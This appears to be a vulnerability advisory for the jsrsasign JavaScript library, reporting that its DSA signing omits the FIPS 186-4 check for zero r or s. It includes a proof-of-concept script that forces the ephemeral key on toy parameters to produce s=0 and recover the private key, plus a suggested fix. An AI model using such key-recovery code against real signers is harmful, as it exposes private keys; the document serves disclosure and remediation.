The DSA signing implementation in jsrsasign (all versions through 11.1.0) does not check whether the computed signature components r or s are zero. FIPS 186-4 §4.6 requires that if r = 0 or s = 0, the signer must re-select the ephemeral key k and retry. jsrsasign skips this check and outputs the invalid signature directly.
CWE-325: Missing Required Cryptographic Step
Low
All versions through 11.1.0 (latest).
In KJUR.crypto.DSA.signWithMessageHash, after computing:
r = (g^k mod p) mod qs = k^-1 (H(m) + x·r) mod q
the function returns the signature without checking whether r = 0 or s = 0. FIPS 186-4 §4.6 step 5 and step 7 explicitly require this check, with a retry loop if either value is zero.
If s = 0, the signature equation s = k⁻¹(H(m) + x·r) mod q = 0 implies H(m) + x·r ≡ 0 (mod q). Anyone observing this signature and the corresponding message hash can recover the private key:
x = -H(m) · r⁻¹ mod q
Under standard DSA parameters (q ≥ 160 bits), the probability of s = 0 for a random message is approximately 1/q ≈ 2⁻¹⁶⁰, making natural occurrence extremely unlikely. However, this is a clear specification violation, and the check costs essentially nothing to implement.
The following script forces a specific ephemeral k value and chooses a message hash such that s = 0, demonstrating that jsrsasign outputs the invalid signature and that the private key can be recovered.
'use strict';
const fs = require('fs');
const path = require('path');
const vm = require('vm');
global.navigator = { appName: 'Netscape' };
global.window = global;
const jsrsasignPath = path.resolve(__dirname, '../../jsrsasign/jsrsasign-all-min.js');
const jsrsasignCode = fs.readFileSync(jsrsasignPath, 'utf8');
vm.runInThisContext(jsrsasignCode, { filename: 'jsrsasign-all-min.js' });
const biHex = (hex) => new BigInteger(hex, 16);
// Tiny DSA domain for deterministic reproduction
const pHex = '17'; // p = 23
const qHex = '0b'; // q = 11
const gHex = '04'; // g = 4
const xHex = '03'; // private key x = 3
const p = biHex(pHex); const q = biHex(qHex);
const g = biHex(gHex); const x = biHex(xHex);
// Force ephemeral k = 2
const forcedK = new BigInteger('2', 10);
KJUR.crypto.Util.getRandomBigIntegerMinToMax = function () { return forcedK; };
// Choose hash so that s = k^-1 * (H(m) + x*r) mod q == 0
const rExpected = g.modPow(forcedK, p).mod(q);
const n = q.subtract(x.multiply(rExpected).mod(q)).mod(q);
const hashHex = n.toString(16);
const dsa = new KJUR.crypto.DSA();
dsa.setPrivateHex(pHex, qHex, gHex, null, xHex);
const sigHex = dsa.signWithMessageHash(hashHex);
const rs = dsa.parseASN1Signature(sigHex);
const r = rs[0];
const s = rs[1];
console.log('r =', r.toString(10));
console.log('s =', s.toString(10));
console.log('s === 0:', s.compareTo(BigInteger.ZERO) === 0);
// Private key recovery from s=0 signature
const xRecovered = n.negate().multiply(r.modInverse(q)).mod(q);
const xReal = x.mod(q);
console.log('x (real) =', xReal.toString(10));
console.log('x (recovered) =', xRecovered.toString(10));
console.log('Key recovered:', xRecovered.compareTo(xReal) === 0);r = 5
s = 0
s === 0: true
x (real) = 3
x (recovered) = 3
Key recovered: true
In signWithMessageHash, after computing r and s, add a check:
// FIPS 186-4 §4.6: if r == 0 or s == 0, select new k and retry
while (r.compareTo(BigInteger.ZERO) === 0 || s.compareTo(BigInteger.ZERO) === 0) {
k = getRandomK();
r = g.modPow(k, p).mod(q);
s = k.modInverse(q).multiply(hash.add(x.multiply(r))).mod(q);
}- FIPS 186-4 §4.6 (DSA Signature Generation), steps 5 and 7